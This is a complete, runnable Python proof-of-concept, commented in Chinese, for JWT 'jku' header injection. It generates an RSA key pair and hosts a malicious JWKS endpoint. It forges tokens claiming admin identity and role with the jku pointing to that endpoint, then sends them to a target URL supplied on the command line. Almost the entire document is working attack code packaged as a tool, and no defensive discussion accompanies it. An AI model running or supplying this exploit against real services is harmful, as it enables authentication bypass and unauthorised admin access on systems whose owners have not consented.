1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204
| """ JKU 注入完整攻击 PoC 用途:自动完成密钥生成 → JWKS 服务器启动 → JWS 伪造 → 请求发送 """ import argparse import json import base64 import threading import time import requests from http.server import HTTPServer, BaseHTTPRequestHandler
from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend import jwt
class JWKSHandler(BaseHTTPRequestHandler): """恶意 JWKS 服务器请求处理""" n_b64 = "" e_b64 = "" def do_GET(self): if self.path == "/jwks.json": self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Access-Control-Allow-Origin", "*") self.end_headers() jwks = { "keys": [ { "kty": "RSA", "use": "sig", "alg": "RS256", "kid": self.server.kid, "n": self.server.n_b64, "e": self.server.e_b64 } ] } self.wfile.write(json.dumps(jwks).encode()) else: self.send_response(404) self.end_headers() def log_message(self, format, *args): print(f"[JWKS Server] {args[0]} {args[1]} {args[2]}")
class JKUExploit: """JKU 注入攻击控制器""" def __init__(self, listen_port=8888): self.listen_port = listen_port self._generate_keys() def _int_to_base64url(self, num): num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big') return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode() def _generate_keys(self): """生成 RSA 密钥对""" self.private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_numbers = self.private_key.public_key().public_numbers() self.n_b64 = self._int_to_base64url(public_numbers.n) self.e_b64 = self._int_to_base64url(public_numbers.e) self.kid = "exploit-key-" + str(int(time.time())) private_pem = self.private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) with open("private.p8", "wb") as f: f.write(private_pem) print(f"[+] RSA 2048 密钥对已生成") print(f"[+] Private key saved to private.p8") def start_jwks_server(self): """启动恶意 JWKS 服务器""" server = HTTPServer(("0.0.0.0", self.listen_port), JWKSHandler) server.n_b64 = self.n_b64 server.e_b64 = self.e_b64 server.kid = self.kid t = threading.Thread(target=server.serve_forever, daemon=True) t.start() print(f"[+] Malicious JWKS server started on port {self.listen_port}") print(f" URL: http://YOUR_IP:{self.listen_port}/jwks.json") return t def forge_jwt(self, jku_url: str, payload_claims: dict) -> str: """伪造 JWT Token""" headers = { "alg": "RS256", "typ": "JWT", "kid": self.kid, "jku": jku_url } token = jwt.encode( payload=payload_claims, key=self.private_key, algorithm="RS256", headers=headers ) return token def exploit(self, target_url: str, jku_url: str = None, payload_claims: dict = None): """执行完整攻击""" self.start_jwks_server() time.sleep(0.5) if payload_claims is None: payload_claims = { "sub": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600 } if jku_url is None: jku_url = f"http://YOUR_IP:{self.listen_port}/jwks.json" token = self.forge_jwt(jku_url, payload_claims) print(f"\n[+] 伪造的 JWT Token:") print(f" {token}") print(f"\n[*] 发送请求到 {target_url}") try: r = requests.get( target_url, headers={"Authorization": f"Bearer {token}"}, timeout=10 ) print(f"[*] 响应状态码: {r.status_code}") print(f"[*] 响应内容: {r.text[:500]}") return r except Exception as e: print(f"[!] 请求失败: {e}") return None
def main(): parser = argparse.ArgumentParser(description="JKU 注入攻击 PoC") parser.add_argument("-t", "--target", required=True, help="目标 URL (如 https://target.com/admin)") parser.add_argument("-p", "--port", type=int, default=8888, help="本地 JWKS 服务器端口") parser.add_argument("-j", "--jku", help="JKU URL (默认自动使用本地服务器)") parser.add_argument("--sub", default="admin", help="Payload 中的 sub 字段") parser.add_argument("--role", default="admin", help="Payload 中的 role 字段") args = parser.parse_args() print(""" ╔══════════════════════════════════════════════════╗ ║ JKU 注入攻击 PoC ║ ║ 目标: {target} ║ ╚══════════════════════════════════════════════════╝ """.format(target=args.target)) exploit = JKUExploit(listen_port=args.port) payload = { "sub": args.sub, "role": args.role, "iat": int(time.time()), "exp": int(time.time()) + 3600 } exploit.exploit( target_url=args.target, jku_url=args.jku, payload_claims=payload ) print(f"\n[*] JWKS 服务器仍在运行,按 Ctrl+C 停止") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] 已停止")
if __name__ == "__main__": main()
|